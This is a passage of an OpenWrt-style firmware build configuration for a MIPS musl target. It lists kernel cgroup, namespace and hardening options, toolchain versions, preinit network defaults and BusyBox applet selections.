CONFIG_KERNEL_BIG_KEYS is not set # CONFIG_KERNEL_ENCRYPTED_KEYS is not set CONFIG_KERNEL_CGROUPS=y # CONFIG_KERNEL_CGROUP_DEBUG is not set CONFIG_KERNEL_FREEZER=y CONFIG_KERNEL_CGROUP_FREEZER=y CONFIG_KERNEL_CGROUP_DEVICE=y CONFIG_KERNEL_CGROUP_PIDS=y CONFIG_KERNEL_CPUSETS=y # CONFIG_KERNEL_PROC_PID_CPUSET is not set CONFIG_KERNEL_CGROUP_CPUACCT=y # CONFIG_KERNEL_RESOURCE_COUNTERS is not set CONFIG_KERNEL_MM_OWNER=y CONFIG_KERNEL_MEMCG=y # CONFIG_KERNEL_MEMCG_SWAP is not set # CONFIG_KERNEL_MEMCG_KMEM is not set # CONFIG_KERNEL_CGROUP_PERF is not set CONFIG_KERNEL_CGROUP_SCHED=y # CONFIG_KERNEL_FAIR_GROUP_SCHED is not set # CONFIG_KERNEL_RT_GROUP_SCHED is not set CONFIG_KERNEL_BLK_CGROUP=y # CONFIG_KERNEL_CFQ_GROUP_IOSCHED is not set # CONFIG_KERNEL_BLK_DEV_THROTTLING is not set # CONFIG_KERNEL_DEBUG_BLK_CGROUP is not set CONFIG_KERNEL_NET_CLS_CGROUP=y CONFIG_KERNEL_NETPRIO_CGROUP=y CONFIG_KERNEL_NAMESPACES=y CONFIG_KERNEL_UTS_NS=y CONFIG_KERNEL_IPC_NS=y CONFIG_KERNEL_USER_NS=y CONFIG_KERNEL_PID_NS=y CONFIG_KERNEL_NET_NS=y CONFIG_KERNEL_DEVPTS_MULTIPLE_INSTANCES=y CONFIG_KERNEL_POSIX_MQUEUE=y # CONFIG_KERNEL_SECCOMP_FILTER is not set # CONFIG_KERNEL_SECCOMP is not set CONFIG_KERNEL_IP_MROUTE=y CONFIG_KERNEL_IPV6=y CONFIG_KERNEL_IPV6_MULTIPLE_TABLES=y CONFIG_KERNEL_IPV6_SUBTREES=y CONFIG_KERNEL_IPV6_MROUTE=y # CONFIG_KERNEL_IPV6_PIMSM_V2 is not set # CONFIG_KERNEL_IP_PNP is not set # # Filesystem ACL and attr support options # # CONFIG_USE_FS_ACL_ATTR is not set # CONFIG_KERNEL_FS_POSIX_ACL is not set # CONFIG_KERNEL_BTRFS_FS_POSIX_ACL is not set # CONFIG_KERNEL_EXT4_FS_POSIX_ACL is not set # CONFIG_KERNEL_F2FS_FS_POSIX_ACL is not set # CONFIG_KERNEL_JFFS2_FS_POSIX_ACL is not set # CONFIG_KERNEL_TMPFS_POSIX_ACL is not set # CONFIG_KERNEL_CIFS_ACL is not set # CONFIG_KERNEL_HFS_FS_POSIX_ACL is not set # CONFIG_KERNEL_HFSPLUG_FS_POSIX_ACL is not set # CONFIG_KERNEL_NFS_ACL_SUPPORT is not set # CONFIG_KERNEL_NFS_V3_ACL_SUPPORT is not set # CONFIG_KERNEL_NFSD_V2_ACL_SUPPORT is not set # CONFIG_KERNEL_NFSD_V3_ACL_SUPPORT is not set # CONFIG_KERNEL_REISER_FS_POSIX_ACL is not set # CONFIG_KERNEL_XFS_POSIX_ACL is not set # CONFIG_KERNEL_JFS_POSIX_ACL is not set # CONFIG_KERNEL_DEVMEM is not set # CONFIG_KERNEL_DEVKMEM is not set CONFIG_KERNEL_SQUASHFS_FRAGMENT_CACHE_SIZE=2 # CONFIG_KERNEL_CC_OPTIMIZE_FOR_PERFORMANCE is not set CONFIG_KERNEL_CC_OPTIMIZE_FOR_SIZE=y # # Package build options # # CONFIG_DEBUG is not set CONFIG_IPV6=y # # Stripping options # # CONFIG_NO_STRIP is not set # CONFIG_USE_STRIP is not set CONFIG_USE_SSTRIP=y # CONFIG_STRIP_KERNEL_EXPORTS is not set # CONFIG_USE_MKLIBS is not set CONFIG_USE_UCLIBCXX=y # CONFIG_USE_LIBCXX is not set # CONFIG_USE_LIBSTDCXX is not set # # Hardening build options # CONFIG_PKG_CHECK_FORMAT_SECURITY=y CONFIG_PKG_ASLR_PIE_NONE=y # CONFIG_PKG_ASLR_PIE_REGULAR is not set # CONFIG_PKG_ASLR_PIE_ALL is not set # CONFIG_PKG_CC_STACKPROTECTOR_NONE is not set CONFIG_PKG_CC_STACKPROTECTOR_REGULAR=y # CONFIG_KERNEL_CC_STACKPROTECTOR_NONE is not set CONFIG_KERNEL_CC_STACKPROTECTOR_REGULAR=y # CONFIG_KERNEL_CC_STACKPROTECTOR_STRONG is not set CONFIG_KERNEL_STACKPROTECTOR=y # CONFIG_KERNEL_STACKPROTECTOR_STRONG is not set # CONFIG_PKG_FORTIFY_SOURCE_NONE is not set CONFIG_PKG_FORTIFY_SOURCE_1=y # CONFIG_PKG_FORTIFY_SOURCE_2 is not set # CONFIG_PKG_RELRO_NONE is not set # CONFIG_PKG_RELRO_PARTIAL is not set CONFIG_PKG_RELRO_FULL=y # CONFIG_DEVEL is not set # CONFIG_BROKEN is not set CONFIG_BINARY_FOLDER="" CONFIG_DOWNLOAD_FOLDER="" CONFIG_LOCALMIRROR="" CONFIG_AUTOREBUILD=y # CONFIG_AUTOREMOVE is not set CONFIG_BUILD_SUFFIX="" CONFIG_TARGET_ROOTFS_DIR="" # CONFIG_CCACHE is not set CONFIG_EXTERNAL_KERNEL_TREE="" CONFIG_KERNEL_GIT_CLONE_URI="" CONFIG_EXTRA_OPTIMIZATION="-fno-caller-saves -fno-plt" CONFIG_TARGET_OPTIMIZATION="-Os -pipe -mno-branch-likely -mips32r2 -mtune=24kc" CONFIG_SOFT_FLOAT=y CONFIG_USE_MIPS16=y # CONFIG_EXTRA_TARGET_ARCH is not set CONFIG_EXTRA_BINUTILS_CONFIG_OPTIONS="" CONFIG_EXTRA_GCC_CONFIG_OPTIONS="" # CONFIG_GCC_DEFAULT_PIE is not set # CONFIG_GCC_DEFAULT_SSP is not set # CONFIG_SJLJ_EXCEPTIONS is not set # CONFIG_INSTALL_GFORTRAN is not set CONFIG_GDB=y CONFIG_USE_MUSL=y CONFIG_SSP_SUPPORT=y CONFIG_BINUTILS_VERSION_2_31_1=y CONFIG_BINUTILS_VERSION="2.31.1" # CONFIG_GCC_USE_EMBEDDED_PATH_REMAP is not set CONFIG_GCC_VERSION="7.5.0" CONFIG_LIBC="musl" CONFIG_TARGET_SUFFIX="musl" # CONFIG_IB is not set # CONFIG_SDK is not set # CONFIG_MAKE_TOOLCHAIN is not set # CONFIG_IMAGEOPT is not set # CONFIG_PREINITOPT is not set CONFIG_TARGET_PREINIT_SUPPRESS_STDERR=y # CONFIG_TARGET_PREINIT_DISABLE_FAILSAFE is not set CONFIG_TARGET_PREINIT_TIMEOUT=2 # CONFIG_TARGET_PREINIT_SHOW_NETMSG is not set # CONFIG_TARGET_PREINIT_SUPPRESS_FAILSAFE_NETMSG is not set CONFIG_TARGET_PREINIT_IFNAME="" CONFIG_TARGET_PREINIT_IP="192.168.1.1" CONFIG_TARGET_PREINIT_NETMASK="255.255.255.0" CONFIG_TARGET_PREINIT_BROADCAST="192.168.1.255" # CONFIG_INITOPT is not set CONFIG_TARGET_INIT_PATH="/usr/sbin:/usr/bin:/sbin:/bin" CONFIG_TARGET_INIT_ENV="" CONFIG_TARGET_INIT_CMD="/sbin/init" CONFIG_TARGET_INIT_SUPPRESS_STDERR=y # CONFIG_VERSIONOPT is not set CONFIG_PER_FEED_REPO=y CONFIG_FEED_packages=y CONFIG_FEED_luci=y CONFIG_FEED_routing=y # # Base system # # CONFIG_PACKAGE_attendedsysupgrade-common is not set # CONFIG_PACKAGE_auc is not set CONFIG_PACKAGE_base-files=y CONFIG_PACKAGE_block-mount=y # CONFIG_PACKAGE_blockd is not set # CONFIG_PACKAGE_bridge is not set CONFIG_PACKAGE_busybox=y # CONFIG_BUSYBOX_CUSTOM is not set CONFIG_BUSYBOX_DEFAULT_HAVE_DOT_CONFIG=y # CONFIG_BUSYBOX_DEFAULT_DESKTOP is not set # CONFIG_BUSYBOX_DEFAULT_EXTRA_COMPAT is not set # CONFIG_BUSYBOX_DEFAULT_FEDORA_COMPAT is not set CONFIG_BUSYBOX_DEFAULT_INCLUDE_SUSv2=y CONFIG_BUSYBOX_DEFAULT_LONG_OPTS=y CONFIG_BUSYBOX_DEFAULT_SHOW_USAGE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_VERBOSE_USAGE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_COMPRESS_USAGE=y CONFIG_BUSYBOX_DEFAULT_LFS=y # CONFIG_BUSYBOX_DEFAULT_PAM is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_DEVPTS=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_UTMP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_WTMP is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_PIDFILE=y CONFIG_BUSYBOX_DEFAULT_PID_FILE_PATH="/var/run" # CONFIG_BUSYBOX_DEFAULT_BUSYBOX is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SHOW_SCRIPT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSTALLER is not set # CONFIG_BUSYBOX_DEFAULT_INSTALL_NO_USR is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_SUID=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_SUID_CONFIG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SUID_CONFIG_QUIET is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_PREFER_APPLETS=y CONFIG_BUSYBOX_DEFAULT_BUSYBOX_EXEC_PATH="/proc/self/exe" # CONFIG_BUSYBOX_DEFAULT_SELINUX is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CLEAN_UP is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_SYSLOG=y CONFIG_BUSYBOX_DEFAULT_PLATFORM_LINUX=y # CONFIG_BUSYBOX_DEFAULT_STATIC is not set # CONFIG_BUSYBOX_DEFAULT_PIE is not set # CONFIG_BUSYBOX_DEFAULT_NOMMU is not set # CONFIG_BUSYBOX_DEFAULT_BUILD_LIBBUSYBOX is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LIBBUSYBOX_STATIC is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INDIVIDUAL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SHARED_BUSYBOX is not set CONFIG_BUSYBOX_DEFAULT_CROSS_COMPILER_PREFIX="" CONFIG_BUSYBOX_DEFAULT_SYSROOT="" CONFIG_BUSYBOX_DEFAULT_EXTRA_CFLAGS="" CONFIG_BUSYBOX_DEFAULT_EXTRA_LDFLAGS="" CONFIG_BUSYBOX_DEFAULT_EXTRA_LDLIBS="" # CONFIG_BUSYBOX_DEFAULT_USE_PORTABLE_CODE is not set # CONFIG_BUSYBOX_DEFAULT_STACK_OPTIMIZATION_386 is not set CONFIG_BUSYBOX_DEFAULT_INSTALL_APPLET_SYMLINKS=y # CONFIG_BUSYBOX_DEFAULT_INSTALL_APPLET_HARDLINKS is not set # CONFIG_BUSYBOX_DEFAULT_INSTALL_APPLET_SCRIPT_WRAPPERS is not set # CONFIG_BUSYBOX_DEFAULT_INSTALL_APPLET_DONT is not set # CONFIG_BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SYMLINK is not set # CONFIG_BUSYBOX_DEFAULT_INSTALL_SH_APPLET_HARDLINK is not set # CONFIG_BUSYBOX_DEFAULT_INSTALL_SH_APPLET_SCRIPT_WRAPPER is not set CONFIG_BUSYBOX_DEFAULT_PREFIX="./_install" # CONFIG_BUSYBOX_DEFAULT_DEBUG is not set # CONFIG_BUSYBOX_DEFAULT_DEBUG_PESSIMIZE is not set # CONFIG_BUSYBOX_DEFAULT_DEBUG_SANITIZE is not set # CONFIG_BUSYBOX_DEFAULT_UNIT_TEST is not set # CONFIG_BUSYBOX_DEFAULT_WERROR is not set CONFIG_BUSYBOX_DEFAULT_NO_DEBUG_LIB=y # CONFIG_BUSYBOX_DEFAULT_DMALLOC is not set # CONFIG_BUSYBOX_DEFAULT_EFENCE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_USE_BSS_TAIL is not set # CONFIG_BUSYBOX_DEFAULT_FLOAT_DURATION is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_RTMINMAX is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_RTMINMAX_USE_LIBC_DEFINITIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_BUFFERS_USE_MALLOC is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_ON_STACK=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_BUFFERS_GO_IN_BSS is not set CONFIG_BUSYBOX_DEFAULT_PASSWORD_MINLEN=6 CONFIG_BUSYBOX_DEFAULT_MD5_SMALL=1 CONFIG_BUSYBOX_DEFAULT_SHA3_SMALL=1 CONFIG_BUSYBOX_DEFAULT_FEATURE_FAST_TOP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_ETC_NETWORKS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_ETC_SERVICES is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING=y CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_MAX_LEN=512 # CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_VI is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_HISTORY=256 # CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_SAVEHISTORY is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_SAVE_ON_EXIT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_REVERSE_SEARCH is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_TAB_COMPLETION=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_USERNAME_COMPLETION is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_FANCY_PROMPT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_WINCH is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_EDITING_ASK_TERMINAL is not set # CONFIG_BUSYBOX_DEFAULT_LOCALE_SUPPORT is not set # CONFIG_BUSYBOX_DEFAULT_UNICODE_SUPPORT is not set # CONFIG_BUSYBOX_DEFAULT_UNICODE_USING_LOCALE is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHECK_UNICODE_IN_ENV is not set CONFIG_BUSYBOX_DEFAULT_SUBST_WCHAR=0 CONFIG_BUSYBOX_DEFAULT_LAST_SUPPORTED_WCHAR=0 # CONFIG_BUSYBOX_DEFAULT_UNICODE_COMBINING_WCHARS is not set # CONFIG_BUSYBOX_DEFAULT_UNICODE_WIDE_WCHARS is not set # CONFIG_BUSYBOX_DEFAULT_UNICODE_BIDI_SUPPORT is not set # CONFIG_BUSYBOX_DEFAULT_UNICODE_NEUTRAL_TABLE is not set # CONFIG_BUSYBOX_DEFAULT_UNICODE_PRESERVE_BROKEN is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_NON_POSIX_CP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_VERBOSE_CP_MESSAGE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_USE_SENDFILE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_COPYBUF_KB=4 # CONFIG_BUSYBOX_DEFAULT_FEATURE_SKIP_ROOTFS is not set # CONFIG_BUSYBOX_DEFAULT_MONOTONIC_SYSCALL is not set CONFIG_BUSYBOX_DEFAULT_IOCTL_HEX2STR_ERROR=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_HWIB is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SEAMLESS_XZ is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SEAMLESS_LZMA is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SEAMLESS_BZ2 is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_SEAMLESS_GZ=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_SEAMLESS_Z is not set # CONFIG_BUSYBOX_DEFAULT_AR is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_AR_LONG_FILENAMES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_AR_CREATE is not set # CONFIG_BUSYBOX_DEFAULT_UNCOMPRESS is not set CONFIG_BUSYBOX_DEFAULT_GUNZIP=y CONFIG_BUSYBOX_DEFAULT_ZCAT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_GUNZIP_LONG_OPTIONS is not set CONFIG_BUSYBOX_DEFAULT_BUNZIP2=y CONFIG_BUSYBOX_DEFAULT_BZCAT=y # CONFIG_BUSYBOX_DEFAULT_UNLZMA is not set # CONFIG_BUSYBOX_DEFAULT_LZCAT is not set # CONFIG_BUSYBOX_DEFAULT_LZMA is not set # CONFIG_BUSYBOX_DEFAULT_UNXZ is not set # CONFIG_BUSYBOX_DEFAULT_XZCAT is not set # CONFIG_BUSYBOX_DEFAULT_XZ is not set # CONFIG_BUSYBOX_DEFAULT_BZIP2 is not set CONFIG_BUSYBOX_DEFAULT_BZIP2_SMALL=0 CONFIG_BUSYBOX_DEFAULT_FEATURE_BZIP2_DECOMPRESS=y # CONFIG_BUSYBOX_DEFAULT_CPIO is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CPIO_O is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CPIO_P is not set # CONFIG_BUSYBOX_DEFAULT_DPKG is not set # CONFIG_BUSYBOX_DEFAULT_DPKG_DEB is not set CONFIG_BUSYBOX_DEFAULT_GZIP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_GZIP_LONG_OPTIONS is not set CONFIG_BUSYBOX_DEFAULT_GZIP_FAST=0 # CONFIG_BUSYBOX_DEFAULT_FEATURE_GZIP_LEVELS is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_GZIP_DECOMPRESS=y # CONFIG_BUSYBOX_DEFAULT_LZOP is not set # CONFIG_BUSYBOX_DEFAULT_UNLZOP is not set # CONFIG_BUSYBOX_DEFAULT_LZOPCAT is not set # CONFIG_BUSYBOX_DEFAULT_LZOP_COMPR_HIGH is not set # CONFIG_BUSYBOX_DEFAULT_RPM is not set # CONFIG_BUSYBOX_DEFAULT_RPM2CPIO is not set CONFIG_BUSYBOX_DEFAULT_TAR=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_LONG_OPTIONS is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_CREATE=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_AUTODETECT is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_FROM=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_OLDGNU_COMPATIBILITY is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_OLDSUN_COMPATIBILITY is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_GNU_EXTENSIONS=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_TO_COMMAND is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_UNAME_GNAME is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_NOPRESERVE_TIME is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TAR_SELINUX is not set # CONFIG_BUSYBOX_DEFAULT_UNZIP is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UNZIP_CDF is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UNZIP_BZIP2 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UNZIP_LZMA is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_UNZIP_XZ is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LZMA_FAST is not set CONFIG_BUSYBOX_DEFAULT_BASENAME=y CONFIG_BUSYBOX_DEFAULT_CAT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_CATN is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CATV is not set CONFIG_BUSYBOX_DEFAULT_CHGRP=y CONFIG_BUSYBOX_DEFAULT_CHMOD=y CONFIG_BUSYBOX_DEFAULT_CHOWN=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_CHOWN_LONG_OPTIONS is not set CONFIG_BUSYBOX_DEFAULT_CHROOT=y # CONFIG_BUSYBOX_DEFAULT_CKSUM is not set # CONFIG_BUSYBOX_DEFAULT_COMM is not set CONFIG_BUSYBOX_DEFAULT_CP=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_CP_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_CP_REFLINK is not set CONFIG_BUSYBOX_DEFAULT_CUT=y CONFIG_BUSYBOX_DEFAULT_DATE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_DATE_ISOFMT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_DATE_NANO is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_DATE_COMPAT is not set CONFIG_BUSYBOX_DEFAULT_DD=y CONFIG_BUSYBOX_DEFAULT_FEATURE_DD_SIGNAL_HANDLING=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_DD_THIRD_STATUS_LINE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_DD_IBS_OBS=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_DD_STATUS is not set CONFIG_BUSYBOX_DEFAULT_DF=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_DF_FANCY is not set CONFIG_BUSYBOX_DEFAULT_DIRNAME=y # CONFIG_BUSYBOX_DEFAULT_DOS2UNIX is not set # CONFIG_BUSYBOX_DEFAULT_UNIX2DOS is not set CONFIG_BUSYBOX_DEFAULT_DU=y CONFIG_BUSYBOX_DEFAULT_FEATURE_DU_DEFAULT_BLOCKSIZE_1K=y CONFIG_BUSYBOX_DEFAULT_ECHO=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FANCY_ECHO=y CONFIG_BUSYBOX_DEFAULT_ENV=y # CONFIG_BUSYBOX_DEFAULT_EXPAND is not set # CONFIG_BUSYBOX_DEFAULT_UNEXPAND is not set CONFIG_BUSYBOX_DEFAULT_EXPR=y CONFIG_BUSYBOX_DEFAULT_EXPR_MATH_SUPPORT_64=y # CONFIG_BUSYBOX_DEFAULT_FACTOR is not set CONFIG_BUSYBOX_DEFAULT_FALSE=y # CONFIG_BUSYBOX_DEFAULT_FOLD is not set CONFIG_BUSYBOX_DEFAULT_FSYNC=y CONFIG_BUSYBOX_DEFAULT_HEAD=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FANCY_HEAD=y # CONFIG_BUSYBOX_DEFAULT_HOSTID is not set CONFIG_BUSYBOX_DEFAULT_ID=y # CONFIG_BUSYBOX_DEFAULT_GROUPS is not set # CONFIG_BUSYBOX_DEFAULT_INSTALL is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_INSTALL_LONG_OPTIONS is not set # CONFIG_BUSYBOX_DEFAULT_LINK is not set CONFIG_BUSYBOX_DEFAULT_LN=y # CONFIG_BUSYBOX_DEFAULT_LOGNAME is not set CONFIG_BUSYBOX_DEFAULT_LS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_FILETYPES=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_FOLLOWLINKS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_RECURSIVE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_WIDTH=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_SORTFILES=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_TIMESTAMPS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_USERNAME=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_COLOR=y CONFIG_BUSYBOX_DEFAULT_FEATURE_LS_COLOR_IS_DEFAULT=y CONFIG_BUSYBOX_DEFAULT_MD5SUM=y # CONFIG_BUSYBOX_DEFAULT_SHA1SUM is not set CONFIG_BUSYBOX_DEFAULT_SHA256SUM=y # CONFIG_BUSYBOX_DEFAULT_SHA512SUM is not set # CONFIG_BUSYBOX_DEFAULT_SHA3SUM is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_MD5_SHA1_SUM_CHECK=y CONFIG_BUSYBOX_DEFAULT_MKDIR=y CONFIG_BUSYBOX_DEFAULT_MKFIFO=y CONFIG_BUSYBOX_DEFAULT_MKNOD=y CONFIG_BUSYBOX_DEFAULT_MKTEMP=y CONFIG_BUSYBOX_DEFAULT_MV=y CONFIG_BUSYBOX_DEFAULT_NICE=y # CONFIG_BUSYBOX_DEFAULT_NL is not set # CONFIG_BUSYBOX_DEFAULT_NOHUP is not set # CONFIG_BUSYBOX_DEFAULT_NPROC is not set # CONFIG_BUSYBOX_DEFAULT_OD is not set # CONFIG_BUSYBOX_DEFAULT_PASTE is not set # CONFIG_BUSYBOX_DEFAULT_PRINTENV is not set CONFIG_BUSYBOX_DEFAULT_PRINTF=y CONFIG_BUSYBOX_DEFAULT_PWD=y CONFIG_BUSYBOX_DEFAULT_READLINK=y CONFIG_BUSYBOX_DEFAULT_FEATURE_READLINK_FOLLOW=y # CONFIG_BUSYBOX_DEFAULT_REALPATH is not set CONFIG_BUSYBOX_DEFAULT_RM=y CONFIG_BUSYBOX_DEFAULT_RMDIR=y CONFIG_BUSYBOX_DEFAULT_SEQ=y # CONFIG_BUSYBOX_DEFAULT_SHRED is not set # CONFIG_BUSYBOX_DEFAULT_SHUF is not set CONFIG_BUSYBOX_DEFAULT_SLEEP=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FANCY_SLEEP=y CONFIG_BUSYBOX_DEFAULT_SORT=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_SORT_BIG is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SORT_OPTIMIZE_MEMORY is not set # CONFIG_BUSYBOX_DEFAULT_SPLIT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SPLIT_FANCY is not set # CONFIG_BUSYBOX_DEFAULT_STAT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_STAT_FORMAT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_STAT_FILESYSTEM is not set # CONFIG_BUSYBOX_DEFAULT_STTY is not set # CONFIG_BUSYBOX_DEFAULT_SUM is not set CONFIG_BUSYBOX_DEFAULT_SYNC=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_SYNC_FANCY is not set # CONFIG_BUSYBOX_DEFAULT_TAC is not set CONFIG_BUSYBOX_DEFAULT_TAIL=y CONFIG_BUSYBOX_DEFAULT_FEATURE_FANCY_TAIL=y CONFIG_BUSYBOX_DEFAULT_TEE=y CONFIG_BUSYBOX_DEFAULT_FEATURE_TEE_USE_BLOCK_IO=y CONFIG_BUSYBOX_DEFAULT_TEST=y CONFIG_BUSYBOX_DEFAULT_TEST1=y CONFIG_BUSYBOX_DEFAULT_TEST2=y CONFIG_BUSYBOX_DEFAULT_FEATURE_TEST_64=y # CONFIG_BUSYBOX_DEFAULT_TIMEOUT is not set CONFIG_BUSYBOX_DEFAULT_TOUCH=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TOUCH_NODEREF is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_TOUCH_SUSV3=y CONFIG_BUSYBOX_DEFAULT_TR=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_TR_CLASSES is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_TR_EQUIV is not set CONFIG_BUSYBOX_DEFAULT_TRUE=y # CONFIG_BUSYBOX_DEFAULT_TRUNCATE is not set # CONFIG_BUSYBOX_DEFAULT_TTY is not set CONFIG_BUSYBOX_DEFAULT_UNAME=y CONFIG_BUSYBOX_DEFAULT_UNAME_OSNAME="GNU/Linux" # CONFIG_BUSYBOX_DEFAULT_BB_ARCH is not set CONFIG_BUSYBOX_DEFAULT_UNIQ=y # CONFIG_BUSYBOX_DEFAULT_UNLINK is not set # CONFIG_BUSYBOX_DEFAULT_USLEEP is not set # CONFIG_BUSYBOX_DEFAULT_UUDECODE is not set # CONFIG_BUSYBOX_DEFAULT_BASE64 is not set # CONFIG_BUSYBOX_DEFAULT_UUENCODE is not set CONFIG_BUSYBOX_DEFAULT_WC=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_WC_LARGE is not set # CONFIG_BUSYBOX_DEFAULT_WHO is not set # CONFIG_BUSYBOX_DEFAULT_W is not set # CONFIG_BUSYBOX_DEFAULT_USERS is not set # CONFIG_BUSYBOX_DEFAULT_WHOAMI is not set CONFIG_BUSYBOX_DEFAULT_YES=y # CONFIG_BUSYBOX_DEFAULT_FEATURE_VERBOSE is not set CONFIG_BUSYBOX_DEFAULT_FEATURE_PRESERVE_HARDLINKS=y CONFIG_BUSYBOX_DEFAULT_FEATURE_HUMAN_READABLE=y # CONFIG_BUSYBOX_DEFAULT_CHVT is not set CONFIG_BUSYBOX_DEFAULT_CLEAR=y # CONFIG_BUSYBOX_DEFAULT_DEALLOCVT is not set # CONFIG_BUSYBOX_DEFAULT_DUMPKMAP is not set # CONFIG_BUSYBOX_DEFAULT_FGCONSOLE is not set # CONFIG_BUSYBOX_DEFAULT_KBD_MODE is not set # CONFIG_BUSYBOX_DEFAULT_LOADFONT is not set # CONFIG_BUSYBOX_DEFAULT_SETFONT is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_SETFONT_TEXTUAL_MAP is not set CONFIG_BUSYBOX_DEFAULT_DEFAULT_SETFONT_DIR="" # CONFIG_BUSYBOX_DEFAULT_FEATURE_LOADFONT_PSF2 is not set # CONFIG_BUSYBOX_DEFAULT_FEATURE_LOADFONT_RAW is not set # CONFIG_BUSYBOX_DEFAULT_LOADKMAP is not set # 